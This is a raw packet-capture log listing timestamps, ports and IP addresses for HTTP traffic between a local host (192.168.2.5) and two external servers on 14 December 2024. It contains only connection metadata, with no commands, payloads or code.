Dec 14, 2024 14:56:17.139591932 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.139650106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.139739037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.140911102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.140965939 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.141068935 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.141114950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.142525911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.142680883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.142731905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.143651009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.143704891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.143750906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.144757032 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.145015001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.145066023 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.145102024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.145152092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.146363020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.146414995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.146475077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.146533966 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.147727966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.147860050 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.147917032 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.149100065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.149152040 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.149203062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.149250031 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.150470018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.150528908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.150578022 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.150649071 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.151820898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.151947021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.152014017 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.153211117 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.153326988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.153383017 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.154562950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.154623985 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.154675007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.154726028 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.155942917 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.156075001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.156107903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.156138897 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.157290936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.157346010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.157454967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.157624006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.158652067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.158705950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.158787012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.158838034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.160042048 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.160114050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.160135031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.160182953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.161381960 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.161462069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.161514044 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.162750006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.162921906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.162974119 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.164102077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.164154053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.164211988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.164261103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.165504932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.165570021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.165613890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.165662050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.166842937 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.166899920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.166941881 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.167052984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.168212891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.168262959 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.168340921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.168389082 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.169583082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.169635057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.169640064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.169687986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.170945883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.171000957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.171056986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.171104908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.172326088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.172379017 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.172435045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.172483921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.173679113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.173728943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.173787117 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.173971891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.175052881 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.175112009 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.175172091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.175251961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.176440001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.176517010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.176558018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.176604986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.177819967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.177895069 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.177943945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.177993059 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.179163933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.179220915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.179259062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.179310083 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.180536032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.180589914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.180659056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.180710077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.181885004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.181957006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.182018042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.182063103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.183249950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.183305979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.183365107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.183425903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.262506008 CET	80	49848	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:17.262680054 CET	80	49848	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:17.262763023 CET	49848	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:17.263689041 CET	49848	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:17.264117002 CET	49853	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:17.304687023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.304743052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.304811954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.304862022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.305258036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.305309057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.305316925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.305367947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.306500912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.306545019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.306554079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.306588888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.307683945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.307739973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.307799101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.307852983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.308896065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.308944941 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.309006929 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.309056044 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.310177088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.310225010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.310245991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.310293913 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.311326981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.311374903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.311431885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.311480999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.312539101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.312587023 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.312665939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.312714100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.313802958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.313855886 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.313934088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.313981056 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.315011978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.315064907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.315073013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.315129042 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.316262960 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.316330910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.316359043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.316401958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.317394018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.317440033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.317508936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.317550898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.318589926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.318643093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.318708897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.318753004 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.319828987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.319875002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.319941998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.319988012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.321019888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.321177006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.321228027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.322263956 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.322377920 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.322427988 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.323498011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.323546886 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.323606014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.323657036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.324667931 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.324718952 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.324842930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.324889898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.325954914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.326005936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.326080084 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.326150894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.327126980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.327177048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.327238083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.327284098 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.328350067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.328402042 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.328504086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.328547955 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.329539061 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.329597950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.329653978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.329701900 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.330732107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.330780983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.330838919 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.330889940 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.331935883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.331984043 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.332057953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.332103014 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.333172083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.333221912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.333276033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.333323002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.334374905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.334424973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.334476948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.334523916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.335588932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.335638046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.335716009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.335762978 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.336795092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.336853027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.336910009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.336957932 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.338009119 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.338057995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.338124990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.338172913 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.339231968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.339282990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.339349985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.339400053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.340435028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.340482950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.340620041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.340666056 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.341656923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.341703892 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.341763973 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.341809034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.342900991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.342947960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.343028069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.343075037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.344099998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.344146967 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.344197035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.344244003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.345304966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.345354080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.345396042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.345474958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.346522093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.346569061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.346618891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.346666098 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.347731113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.347779989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.347831011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.347877026 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.348958969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.349006891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.349045992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.349088907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.350166082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.350215912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.350270033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.350313902 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.351372004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.351418972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.351469994 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.351517916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.352564096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.352617025 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.352689028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.352735996 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.353802919 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.353853941 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.353905916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.353954077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.355001926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.355058908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.355122089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.355166912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.356255054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.356314898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.356416941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.356467962 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.357433081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.357496023 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.357533932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.357578039 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.358645916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.358699083 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.358751059 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.358800888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.359863997 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.359915018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.360002041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.360296965 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.361095905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.361146927 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.361171961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.361212969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.362272978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.362323046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.362399101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.362445116 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.363486052 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.363615036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.363666058 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.364712000 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.364819050 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.364871979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.365932941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.365998030 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.366050959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.366897106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.367139101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.367259026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.367311001 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.368279934 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.372584105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.384013891 CET	80	49848	185.81.68.147	192.168.2.5
